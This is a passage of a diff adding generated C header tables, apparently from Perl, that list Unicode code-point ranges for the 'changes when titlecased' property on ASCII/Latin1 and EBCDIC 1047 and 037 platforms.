+	0xA66C,
+	0xA66D,
+	0xA66E,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA69C,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA730,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA770,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA788,
+	0xA78C,
+	0xA78D,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA794,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xA7B8,
+	0xAB53,
+	0xAB54,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFF41,
+	0xFF5B,
+	0x10428,
+	0x10450,
+	0x104D8,
+	0x104FC,
+	0x10CC0,
+	0x10CF3,
+	0x118C0,
+	0x118E0,
+	0x1E922,
+	0x1E944
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_CWT_invlist[] = { /* for EBCDIC 1047 */
+	1231,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x70,
+	0x71,
+	0x81,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9A,
+	0x9C,
+	0x9D,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xCB,
+	0xD0,
+	0xDB,
+	0xE0,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x138,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18D,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19B,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BA,
+	0x1BD,
+	0x1BE,
+	0x1BF,
+	0x1C0,
+	0x1C4,
+	0x1C5,
+	0x1C6,
+	0x1C8,
+	0x1C9,
+	0x1CB,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F2,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x234,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x255,
+	0x256,
+	0x258,
+	0x259,
+	0x25A,
+	0x25B,
+	0x25D,
+	0x260,
+	0x262,
+	0x263,
+	0x264,
+	0x265,
+	0x267,
+	0x268,
+	0x26D,
+	0x26F,
+	0x270,
+	0x271,
+	0x273,
+	0x275,
+	0x276,
+	0x27D,
+	0x27E,
+	0x280,
+	0x281,
+	0x283,
+	0x284,
+	0x287,
+	0x28D,
+	0x292,
+	0x293,
+	0x29D,
+	0x29F,
+	0x345,
+	0x346,
+	0x371,
+	0x372,
+	0x373,
+	0x374,
+	0x377,
+	0x378,
+	0x37B,
+	0x37E,
+	0x390,
+	0x391,
+	0x3AC,
+	0x3CF,
+	0x3D0,
+	0x3D2,
+	0x3D5,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F4,
+	0x3F5,
+	0x3F6,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FC,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x482,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x530,
+	0x561,
+	0x588,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C89,
+	0x1D79,
+	0x1D7A,
+	0x1D7D,
+	0x1D7E,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9C,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F16,
+	0x1F20,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F46,
+	0x1F50,
+	0x1F58,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F7E,
+	0x1F80,
+	0x1F88,
+	0x1F90,
+	0x1F98,
+	0x1FA0,
+	0x1FA8,
+	0x1FB0,
+	0x1FB5,
+	0x1FB6,
+	0x1FB8,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FC8,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FD8,
+	0x1FE0,
+	0x1FE8,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FF8,
+	0x214E,
+	0x214F,
+	0x2170,
+	0x2180,
+	0x2184,
+	0x2185,
+	0x24D0,
+	0x24EA,
+	0x2C30,
+	0x2C5F,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C73,
+	0x2C74,
+	0x2C76,
+	0x2C77,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CE4,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CEF,
+	0x2CF3,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA66E,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA69C,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA730,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA770,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA788,
+	0xA78C,
+	0xA78D,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA794,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xA7B8,
+	0xAB53,
+	0xAB54,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFF41,
+	0xFF5B,
+	0x10428,
+	0x10450,
+	0x104D8,
+	0x104FC,
+	0x10CC0,
+	0x10CF3,
+	0x118C0,
+	0x118E0,
+	0x1E922,
+	0x1E944
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_CWT_invlist[] = { /* for EBCDIC 037 */
+	1231,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x70,
+	0x71,
+	0x81,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9A,
+	0x9C,
+	0x9D,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xCB,
+	0xD0,
+	0xDB,
+	0xE0,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x138,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18D,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19B,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BA,
+	0x1BD,
+	0x1BE,
+	0x1BF,
+	0x1C0,
+	0x1C4,
+	0x1C5,
+	0x1C6,
+	0x1C8,
+	0x1C9,
+	0x1CB,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F2,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x234,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
